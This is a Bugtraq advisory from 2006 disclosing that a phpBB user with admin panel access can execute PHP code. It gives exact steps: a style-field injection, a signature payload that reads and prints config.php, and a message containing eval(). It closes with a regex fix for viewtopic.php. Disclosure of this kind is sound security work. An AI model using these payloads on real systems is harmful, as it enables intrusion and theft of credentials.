Bugtraq mailing list archives

phpBB Admin command execution


From: noch22 () gmail com
Date: 14 Apr 2006 15:03:41 -0000

On a phpBB board, a user having access to the admin panel is able to execute PHP code:

This example will execute $user_sig as PHP code:

Go to Administration Panel > Styles Admin > Management > subSilver > Edit
Set "Font Colour 3" to "'./*"
Profile
Set Signature to "$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}"
Post a new message with content: "*/var_dump(eval($user_sig)).flush().die().'" and attach your signature
Go to your message adding ?highlight=1 to URL
Your signature is executed as PHP code

Possible solution:

Replace $theme['fontcolor3']
By preg_replace('#[^a-f0-9]+#i','',$theme['fontcolor3']);
In viewtopic.php


Current thread: